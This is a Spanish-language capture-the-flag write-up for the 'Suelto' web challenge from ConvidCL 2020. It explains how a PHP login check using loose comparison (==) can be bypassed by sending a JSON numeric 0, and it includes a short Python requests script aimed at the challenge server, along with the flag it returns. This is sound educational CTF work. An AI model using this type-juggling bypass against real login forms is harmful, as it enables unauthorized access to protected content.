APT593

ConvidCL : Suelto

15/06/2020

Análisis inicial

Este reto tiene un solo campo de texto en el cual vemos que cuando ingresamos algo nos responde con “Password incorrecta” por lo que se asume que debemos adivinar la contraseña o intentar alguna forma de saltar la validación que ocurre en el código:

Login

Revisando el archivo robots.txt tenemos que existe un archivo source.zip en el servidor, al descargarlo obtenemos el código fuente y podemos realizar un análisis estático y buscar alguna forma de saltar la validación.

Análisis estático

Suelto

Cada vez que la página carga se genera un nuevo token de manera aleatoria, por lo que intentar adivinarlo no sería el camino adecuado y la única forma de poder ver el contenido de flag.txt es si el token y lo que enviemos sean iguales.

Algo que llama la atención es que el código revisa la cabecera de CONTENT_TYPE para verificar si el contenido está en JSON. Debido a que la verificación está con == y no === podemos intentar saltar la validación intentando comparar una cadena de caracteres con un número ya que para PHP esto es verdadero y podemos verificarlo con el siguiente código:

<?php
$texto = 'abcdefg';
$numero = 0;

if ($texto == $numero) {
  echo 'Son iguales';
}

Esto se debe a cuando se utiliza == entre un número y una cadena de texto, PHP intentará comparar como si fuera un número. Al empezar con una letra es considerado 0 al momento de compararlo con un número lo cual nos permitirá conseguir la bandera. Si intentamos enviar un número utilizando el campo de texto, el servidor automáticamente lo va a convertir a una cadena de texto y no vamos a poder aprovechar este fallo.

Exploit

Para poder obtener el contenido de flag.txt sabemos que debemos enviar el valor de input por JSON y esperar que el token generado empiece con el mismo número que enviaremos para que la validación sea algo parecido a 1 == "1asd....":

#!/usr/bin/python3
import json
import requests
# Sitio web del reto
url = 'http://45.79.216.154:8585/';
r = requests.get(url, data='{"input":0}', headers={'content-type':'json'})
# Si dentro de la respuesta no existe Password incorrecta entonces encontramos nuestra bandera
if ("Password incorrecta" not in r.text):
    print(r.text)

Si no obtenemos la bandera la primera vez es por que el token que generó el código empezaba con un número diferente a 0. Si todo sale bien obtenemos nuestra bandera: CL{php_3s_t3rribl3_d3_tr0ll}


Escrito por hk